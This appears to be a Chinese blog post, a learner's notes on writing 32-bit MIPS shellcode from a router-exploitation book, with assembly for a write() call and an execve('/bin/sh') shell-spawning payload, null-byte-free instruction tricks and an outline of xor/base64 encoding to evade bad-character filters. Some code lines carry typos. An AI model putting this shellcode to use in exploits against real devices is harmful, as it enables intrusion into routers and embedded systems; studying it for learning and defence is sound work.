zoukankan      html  css  js  c++  java
  • 基于MIPS的shellcode开发

    前言

    最近看到了《路由器0day》这本书的shellcode开发部分章节,就想到自己之前还没有去系统学过shellcode开发,之前在搞x86架构的时候也没有去搞过。其实开学时候有计划搞一下x86架构下的shellcode书写的,但是由于那时候比较忙,懒狗说辞,后来拖着拖着就放弃了。。。。 现在打算学一下mips架构下的shellcode开发,一是为了锻炼一下自己的汇编书写能力以及思维,二也是因为自己刚刚开始接触mips的汇编,就去写一些汇编熟悉一下。

    什么是shellcode

    狭义下的shellcode是指向进程植入的一段用于获取shell的代码。发展至今,shellcode已统一指在缓冲区溢出攻击中植入进程的代码。shellcode所具备的功能不仅包括获取shell,还包括弹出消息框,开启端口,执行命令等。
    shellcode通常使用汇编语言书写,可最终将其转化为机器可识别的二进制机器码,其内容和长度还会收到很多苛刻的限制,因此开发和调试的难度很高。当然,作为刚开始接触mips架构的我在这篇博文也只是记录一下简单shellcode的开发,以后渐渐了解更多的用法之后再回来补充。
    MIPS 架构的 shellcode 和 x86 架构下的 shellcode 也会有一些差异,同时在实际利用 MIPS 的 shellcode 时可能会有坏字符的问题,因此还是需要掌握一些 shellcode 编写的技巧,这样在实际利用时才能比较灵活的运用。
    关于mips指令的相关内容,可以参考一下我的这一篇博文
    注明一点,这篇文章说到的mips架构都是32位的

    mips系统调用

    在Linux中的x86体系架构中,有几种方式书写shelcode。例如“正常的异常”软件中断,int 0x80;利用syscall的系统调用等。而在mips架构下,没有int 80中断,但是还可以使用syscall指令进行系统调用。
    调用过程:
    在使用系统调用syscall之前,$ v0保存需要执行的系统调用的调用号,并且按照mips调用规则构造将要执行的系统调用参数,syscall调用的伪代码为"syscall($ v0,$ a0,$ a1,$ a2,$ a3...)"
    如,这里如果需要调用 exit(1) 函数,可以表示成以下的汇编代码:

    li $ a0,1
    
    li $ v0,4001            // sys_exit
    
    syscall #syscall
    

    可以利用buildroot交叉编译环境查看系统调用号

    简单的write

    #C语言代码 
    int mian(){
    char *pstr="ABC
    "
    write(1,pstr,5)
    }
    

    输出字符串的shellcode

    #对应的mips汇编
    .section .text
    .globl _start 
    .set noreorder
    _start:
    addiu $sp,$sp,-32
    lui $t6.0x4142
    ori $t6,$t6,0x430a
    sw $t6,0($sp)
    li $a0,1
    addiu $a1,$sp,0
    li $a2,5
    li v0,4004
    syscall
    

    链接调试

    把上面汇编的_start改为main,然后编译链接:

    mips-linux-gnu-as --32 write.S -o write.o
    mips-linux-gnu-ld -e main write.o -o write
    

    再一个终端中执行命令

    qemu-mips-static -g 1234 -L /usr/mips-linux-gnu ./write
    

    然后再另外一个终端中利用gdb-multiarch挂载程序

    gdb-multiarch ./write
    

    然后再在我们的gdb中远程连接我们开放的端口:

    target remote 127.0.0.1:1234
    

    解析

    这里简单解释一下 ,对于ori这个指令,这是我一开始看的时候感觉有点奇怪,对于赋值“ABC ”也就是“0x4142430a”(大端序)给$t6寄存器的时候,为什么先赋值0x4142给t6寄存器,然后这个ori是什么,后来去查了一下,这个ori是与一个立即数或,而且是与低位或,所以就会把t6寄存器的地位覆盖为0x430a。也就是,lui 和 ori 指令配合使用可以赋值一个 4 字节空间,lui 指令赋值高位 2 字节,ori 指令赋值低位 2 字节。


    查看机器码

    在gdb中,利用disass /r命令可以查看到shellcode的机器码:

    execve系统调用

    execve shellcode是常用的shellcode之一,这种shellcode的目的是让已嵌入shellcode的应用程序运行一个应用程序,如bin/sh。

    int execve(const char *filename, char *const argv[], char *const envp[]);
    

    filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。
    如下面一个例子

    #相当于执行了“ls -l”命令
    #include<stdio.h>
    int main(){
    char *program="/bin/sh";
    char *arg="-l";
    char *args[3];
    args[0]=program;
    args[1]=arg;
    arg[2]=0;
    execve(program,args,0)
    

    一般我们在写shellcode的时候,是希望直接get到shell的,所以这时候只需要执行/bin/sh命令即可产生一个shell,代码如下:

    #include<stdio.h>
    int main(){
    char *program="/bin/sh"
    execve(program,0,0)
    }
    

    因此可以由上面的C语言代码编写我们的汇编代码:

    .section .text
    .globl main
    .set noreorder
    main:
    li $a2 0x111
    p:bltzal $a2,p
    li $a2,0
    addiu $sp,$sp,-32
    addiu $a0,$ra,28
    sw $a0,-24($sp)
    sw $zero,-20($sp)
    addiu $a1,$sp,-24
    li $v0,4011
    syscall
    sc:
        .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
    

    解释一下这里第六行,我们先看看这个bltzal指令:

    总结来说,如果我们的第一个参数小于0,那么就会将跳转到我们的第二个参数所指的偏移,而且还会把$ pc+4->$ ra,而且mips汇编还有一个流水线技术(这个我目前也不大懂),这里执行第六条指令的时候会同时执行第七个指令,所以这时候的pc其实是加8的。其实这里还有一个点,就是第五行已经把a2寄存器赋值为0x111,所以其实是不满足条件,但是反推可知,其实不满足bltzal的条件时,我们的ra寄存器也会被赋值。


    这里把ra赋值为pc寄存器的值,其实是为了作为偏移,寻找我们的sc字符

    shellcode编码优化

    指令优化

    指令优化是指通过选择一些特殊的指令避免在shellcode中直接生成坏字符。出现坏字符"NULL"字节常用的特殊指令如下所示。

    普通指令 机器码 无NULL指令 机器码
    li $a2,0 24 06 00 00 slti $a2 , $zero,-1 28 06 ff ff
    li $a2,1 24 04 00 01 sltiu $a2 , $zero ,-1 2c 0c ff ff
    当我们的缓冲区宽裕的时候,可以考虑使用多条运算指令规避坏字符。
    这里举几个例子。
    普通指令 机器码 无NULL指令 机器码
    :-: :-: :-: :-:
    addiu $a0 , $ra,32 24 e4 00 20
    addiu $a0 , $ra,4097
    addiu $a0 , $a0,-4065

    27 e4 10 01
    24 84 f0 1f
    Li $a2 ,5 24 06 00 05
    li $t6 ,-9
    nor $t6 , $t6 , $zero
    addi $a2 , $t6 ,-3

    24 0e ff f7
    01 c0 70 27
    21 c6 ff fd
    根据这几个例子,可以将上面write和execve系统调用对应的shellcode修改为无NULL版本。
    使用一些特殊指令对shellcode可以去除坏字符,使shellcode适应去除坏字符的函数漏洞。但是在漏洞利用过程中,我们经常遇到更加苛刻的条件,如需要去除其他坏字符,如(0X0A,0X0D等),此时通过特殊指令就很难办到了。这时候我们需要对shellcode进行编码。接下来详细介绍。

    shellcode编码

    首先,所有的字符都会对"NULL"字节进行限制,通常我们会选择对shellcode指令进行优化以避免在shellcode中直接出现"NULL"字节。其次,在处理某些流程中可能会限制0x0d,0x0a,0x20等字符。甚至有可能会要求shellcode必须为可见字符ASCII值等。在处理这些条件时,我们可以使用shellcode编码技术。

    shellcode编码原理

    在shellcode的编码技术中有众多的编码算法,常用的有如下几种。
    Base64编码;
    alpha_upper编码;
    xor编码。
    这种对shellcode编码的方法与软件加壳的原理类似。我们可以先专心完成shellcode的逻辑,而不用在意是否含有非法字符,再使用编码技术对shellcode进行编码,使其内容满足限制条件。然后再精心构造几十个字节的解码程序,将其放在编码的shellcode之前。当exp执行时,先运行解码程序解码,从而将我们后面的shellcode解码。

    未完待续

    一个开端,日后填坑

    参考

    http://q1iq.top/安洵杯-MIPS/
    https://www.anquanke.com/post/id/202965
    《揭秘家用路由器0day漏洞挖掘技术》

  • 相关阅读:
    回归分析|r^2|Se|变差|多重相关系数|决定系数|多重共线性|容忍度|VIF|forward selection|backward elimination|stepwise regression procedure|best-subset approach|回归方程的置信区间|预测区间|残差分析|虚拟变量
    医学信息学
    扩增|feather evolution
    多因素线性回归|adjusted R^2|膨胀系数|非线性回归|Second-order model with 1 independent variable|Interaction model with 2 independent variables|偏相关|fraction[a]|contribution
    [JAVA]一维数组的创建, 访问数组元素,遍历数组
    method的返回值是String[]时, return {"jerry", "elaine", "george", "kramer"} 不行
    Math.random()生成一维随机数组
    import java.util.Random; 构造函数来取随机数
    Array of pointers: 月份与数字对应 && Array of arrays
    [Bash Scripting LOOP]for, while. until
  • 原文地址:https://www.cnblogs.com/T1e9u/p/13749970.html
Copyright © 2011-2022 走看看